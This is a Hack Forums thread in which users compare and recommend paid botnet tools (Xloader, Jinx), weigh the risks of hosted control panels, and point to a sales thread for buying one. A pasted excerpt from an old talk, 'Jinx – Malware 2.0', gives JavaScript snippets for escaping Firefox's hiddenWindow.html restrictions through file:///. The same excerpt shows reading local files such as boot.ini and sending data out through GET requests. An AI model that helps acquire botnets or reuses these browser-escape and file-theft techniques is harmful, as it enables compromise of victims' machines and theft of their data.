+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Botnets and Botting (https://hackforums.net/forumdisplay.php?fid=92)
+---- Thread: Opinions on Xloader/ Fav Botnet Tools (/showthread.php?tid=6256095)
Opinions on Xloader/ Fav Botnet Tools - C0DD3N3BU14 - Nov 11, 2023
so recently for some erm random reasons, I've been messing around with botnets. I've been trying to find the best botnetting tool and landed on Xloader for its 'supposedly' easy-use and is somewhat cheap. I haven't seen any videos of it working or anything other than a few screenshots here and there, I'm looking for opinions or reviews on the software and if it reliable, If not I'd be grateful if you could list another tool.
Thanks,
-C0DD3N3BU14 😁
RE: Opinions on Xloader/ Fav Botnet Tools - Kayfoxz - Nov 11, 2023
(Nov 11, 2023 01:19 PM)C0DD3N3BU14 Wrote: so recently for some erm random reasons, I've been messing around with botnets. I've been trying to find the best botnetting tool and landed on Xloader for its 'supposedly' easy-use and is somewhat cheap. I haven't seen any videos of it working or anything other than a few screenshots here and there, I'm looking for opinions or reviews on the software and if it reliable, If not I'd be grateful if you could list another tool.
Thanks,
-C0DD3N3BU14 😁
Not a big fan of xloader because of the no self hosting, as for affordability I like jinx personally, lifetime deals are rare and incredibly nice, jinx is also pretty easy to use
Xloader could be nice if you don’t mind that they host it and don’t want to pay for the hosting yourself, if you can come to terms of the risks with it
RE: Opinions on Xloader/ Fav Botnet Tools - C0DD3N3BU14 - Nov 11, 2023
(Nov 11, 2023 01:33 PM)Kayfoxz Wrote: Not a big fan of xloader because of the no self hosting, as for affordability I like jinx personally, lifetime deals are rare and incredibly nice, jinx is also pretty easy to use
Xloader could be nice if you don’t mind that they host it and don’t want to pay for the hosting yourself, if you can come to terms of the risks with it
what do you mean 'terms of risk'? as for Jinx, 1-10 overall how would you rate it? Is it easy to use?
RE: Opinions on Xloader/ Fav Botnet Tools - Kayfoxz - Nov 11, 2023
(Nov 11, 2023 04:30 PM)C0DD3N3BU14 Wrote: what do you mean 'terms of risk'? as for Jinx, 1-10 overall how would you rate it? Is it easy to use?
Jinx is probably a good 7-8 on ease of use (as in very easy)
And by terms of risk, basically since they host the panels themselves you run the risk of a rug pull where they leave one day or possibly other issues (they get raided behind the scenes) not that this has happened as of a few years now but it could happen
RE: Opinions on Xloader/ Fav Botnet Tools - C0DD3N3BU14 - Nov 12, 2023
(Nov 11, 2023 04:32 PM)Kayfoxz Wrote: Jinx is probably a good 7-8 on ease of use (as in very easy)
And by terms of risk, basically since they host the panels themselves you run the risk of a rug pull where they leave one day or possibly other issues (they get raided behind the scenes) not that this has happened as of a few years now but it could happen
Thanks for your reply! Is there a thread or an account associated with this forum or another forum selling contracts? Ive looked it up on google and all ive found is
Jinx – Malware 2.0
We know it’s big, we measured it!
Itzik Kotler
Yoni Rom
This is how your browser looks like
before Jinx has loaded …
This is how your browser looks like
after Jinx has loaded …
Did you see the difference?
• The pixel on the 31337th row has changed
from white to black… just kidding ;-)
• Javascript by nature is GUI-less thus it will
not alter the browser interface (unless you
explicitly ask it to).
10 seconds on Javascript
• High level scripting language commonly
used for client-side web development.
• “Natively” supported by Browsers, no need
for additional components (e.g. ActiveX’s).
• Javascripts do not need any special
security privileges prior to execution.
• Capable of using some of the hottest Web
2.0 features such as AJAX.
Exit Assembly, Enter Javascript
• Cross platform
– Malware is oblivious to the underlaying OS.
• Architecture independent
– Malware is oblivious of the CPU.
• Unified
– Malware uses constant standard API.
• Comprehensive
– Malware doesn’t need any external modules.
Sharpen Your Pencil and Take
out a Clean Sheet of Paper.
No, this isn't a quiz, It's your first
Javascript malware programming
class!
Entry Point (Mozilla Design Flaw)
• hiddenWindow.html
– The hidden window is similar to a regular
window, but unlike any other window, it is
available the whole time the application is
running, but isn't visible to the user.
• Paths
– %ProgramFiles%\Mozilla
Firefox\res\hiddenWindow.html
– /opt/firefox/res/hiddenWindow.html
– /usr/share/iceweasel/res/hiddenWindow.html
Typical hiddenWindow.html
• Includes something like this:
– <html><head><title></title></head><body></
body></html>
• Document base URI is set to:
– resource://gre/res/hiddenWindow.html
• Loaded only once (not per instance).
• Globally used (not per profile).
Welcome to ChromeWindow
• The Window object and initial scope of
hiddenWindow.html
• A very restricted object, both in methods
(read only properties) and in access to
files.
• Not a very interesting place to be stuck in
for a long time …
Escaping from resource://
• What changes a document restriction is
the URL from which it was invoked.
• hiddenWindow.html can be invoked
through different base URI … file:///
• So if hiddenWindow.html is invoked
through file:/// URL it is basically free of
resource:// and is no longer considered to
be a resident of Chrome.
Jailbreak Javascript Style
…
<script>
if (location.search) {
alert(“Hello World!\n”);
} else {
location.href =
“file://<path>/hiddenWindow.html?homefree”;
}
</script>
…
Javascript and Files
• After the jail break, we’re running from
file:/// and as such we are capable of
accessing files and reading their data.
• Files on the target computer and mapped
share’s are accessible through file:/// URI
• Let’s start reading some files then …
Hello C:\BOOT.INI & IFRAME
• IFRAME allows us to open BOOT.INI
through: file:///C:/boot.ini
• Since our document also originates from
file:/// we are completely bypassing the
same origin policy enforcement.
• Works almost perfectly and is completely
scalable.
Reading Files through IFRAME
…
<iframe id=“foobar” src=“file:///C:/boot.ini
“></iframe>
<script>
alert(document.getElementById(‘foobar’).co
ntentDocument.body.innerHTML);
</script>
…
Problems with IFRAME
• Accessing the IFRAME content needs to
be synchronous, as rendering takes time.
• When trying to access a FILE which has a
registered URI (e.g. Word Document)
instead of returning the .innerHTML, an
application will be launched (e.g. Word).
• IFRAME is so 90’s ;-)
Exit IFRAME, Enter AJAX
• AJAX is not emotionally or mentally
attached with URI’s, thus it won’t launch
any associated applications.
• AJAX can be synchronous thus
eliminating the waiting period.
• AJAX is a Web 2.0 pioneer.
DIR-a-like through AJAX
…
<script>
var http = new XMLHttpRequest();
http.open("GET", "." ,false);
http.send(null);
</script>
…
Implementing pwd() through AJAX
…
<script>
.. // Initialization of AJAX socket (as before)
http.responseText.substring(http.responseT
ext.indexOf(' '),
http.responseText.indexOf('\n'));
</script>
…
= getHiddenWindowPath
• AJAX allow us to automatically locate
hiddenWindow.html and thus we no
longer require any “static” paths.
• Did we already mention that we’re cross
platform? ;-)
AJAX’s addiction to text
• AJAX always assumes the data is TEXT,
this is due to the default charset which
doesn’t support binary/high ASCII values.
• Lucky this issue can be easily bypassed
through overriding the default charset with
something that supports high ASCII
values.
Overriding AJAX’s default charset
…
<script>
// assume AJAX socket is declared as ‘file’
file.overrideMimeType('text/plain; charset=xuser-defined');
file.send(null);
</script>
…
Let’s put the O in OUTPUT
• Data is coming in through IFRAME and/or
AJAX but how does it go out?
• We can’t submit it through FORM as it
would require us to leave the file:///
document in favor of the http:// document
and a http:// document can’t go back to
file:/// ...
• AJAX won’t allow us to do POST since
we’re violating the same origin domain
policy …
We’re simply going to GET it!
• GET supports up to 2k of data passed
through URL (depend on the server).
• IFRAME partially ignores the same origin
domain policy as it will perform the request
but won’t let us peek in to the result.
• Simple PHP on the server side will quickly
reassemble the data back into a single file.
When one (byte) becomes four
• GET doesn’t support binary characters, so
how are we going to push it out?
• Encoding methods (ratio byte to byte):
– BASE64 1:0.5..3 (e.g., YQ==)
– ESCAPE 1:1||1:3 (e.g., A, %20)
– HEX 1:2 (e.g. 41)
Keep it quiet (CPU Usage)
• Javascript was never really designed to
work with so much buffers and allocated
memory and it shows.
• A solution to this problem is to redesign
the malware to be preemptive and instead
of being linearly executed (blocking), it
should be event driven, by pre-scheduled
events (non-blocking).
setInterval() & document.hash
• Javascript supports an alarm()-like
function that’s called setInterval().
• Anchors (aka. hashes) can be set and
changed without reloading the document,
this could be a good place to store the
states the malware is going through (State
Machine 101)…
= Scheduler
...
<script>
If (self.jinx_id) { clearInterval(self.jinx_id); }
try { jinx_dispatch(); } catch (e) { … }
self.jinx_id = setInterval(‘jinx_schd()’, 1500);
</script>
…
= Dispatch
…
(had to cut off due to char. cap)
some random PDF (that above was the pdf for clarification :] ) and some league of legends crap. But maybe i need to search harder. from the search on this forum all ive found is this POST. I'm really stupid so feel free to dumb stuff down.
Thanks,
-C0DD3N3BU14
RE: Opinions on Xloader/ Fav Botnet Tools - Kayfoxz - Nov 12, 2023
(Nov 12, 2023 09:16 AM)C0DD3N3BU14 Wrote: I'm really stupid so feel free to dumb stuff down.
Thanks,
-C0DD3N3BU14
https://hackforums.net/showthread.php?tid=6240136
Here you go
RE: Opinions on Xloader/ Fav Botnet Tools - C0DD3N3BU14 - Nov 12, 2023
(Nov 12, 2023 11:29 AM)Kayfoxz Wrote: https://hackforums.net/showthread.php?tid=6240136
Here you go
Thanks for all of your help this seems alot better and cheaper than Xloader and is great that its a 1 time purchase!
Again thanks,
-C0DD3N3BU14
:)